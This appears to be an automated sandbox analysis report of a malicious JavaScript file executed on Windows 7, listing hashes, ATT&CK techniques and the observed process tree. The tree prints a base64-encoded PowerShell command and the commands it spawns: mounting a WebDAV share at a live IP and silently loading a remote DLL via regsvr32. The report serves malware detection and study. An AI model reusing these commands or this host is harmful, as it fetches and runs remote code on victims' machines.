20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
14/11/2024, 02:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
Size 1.6MB
Sample241114-cmjetswpgp
SHA256 20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74
MD5 bae204a687fd5f7dc29dd82e51ae085b
SHA1 dcf4b0f1cbd08002dce18a01d8f5d1eeae8bfc8a
SHA512 9d0b1099f782d949f756d3987f61479dabd3f41ddb56b61b55feb2cda2a341ea3b1a43e48cb4adcf06da590f9caf3123e61eeb01a5f02c227c8dec10ad313051
SSDEEP 24576:Us9MhhwQhD8I9YgygaXziWqE9oGzJWPan2Yhxp:V
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2900	timeout.exe

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2628	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2008	2188	wscript.exe	31
PID 2188 wrote to memory of 2008	2188	wscript.exe	31
PID 2188 wrote to memory of 2008	2188	wscript.exe	31
PID 2008 wrote to memory of 2900	2008	powershell.exe	33
PID 2008 wrote to memory of 2900	2008	powershell.exe	33
PID 2008 wrote to memory of 2900	2008	powershell.exe	33
PID 2008 wrote to memory of 3056	2008	powershell.exe	34
PID 2008 wrote to memory of 3056	2008	powershell.exe	34
PID 2008 wrote to memory of 3056	2008	powershell.exe	34
PID 3056 wrote to memory of 2772	3056	cmd.exe	35
PID 3056 wrote to memory of 2772	3056	cmd.exe	35
PID 3056 wrote to memory of 2772	3056	cmd.exe	35
PID 2008 wrote to memory of 3044	2008	powershell.exe	36
PID 2008 wrote to memory of 3044	2008	powershell.exe	36
PID 2008 wrote to memory of 3044	2008	powershell.exe	36
PID 3044 wrote to memory of 2628	3044	cmd.exe	37
PID 3044 wrote to memory of 2628	3044	cmd.exe	37
PID 3044 wrote to memory of 2628	3044	cmd.exe	37
PID 3044 wrote to memory of 2628	3044	cmd.exe	37
PID 3044 wrote to memory of 2628	3044	cmd.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\timeout.exe
    "C:\Windows\system32\timeout.exe" 1
    3⤵
    - Delays execution with timeout.exe
    PID:2900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Windows\system32\net.exe
      net use \\94.159.113.79@8888\davwwwroot\
      4⤵
      PID:2772
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\system32\regsvr32.exe
      regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
      4⤵
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2008-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Download

memory/2008-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Download

memory/2008-6-0x000000001B2B0000-0x000000001B592000-memory.dmp

Download

memory/2008-7-0x00000000024E0000-0x00000000024E8000-memory.dmp

Download

memory/2008-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Download

memory/2008-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Download

memory/2008-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Download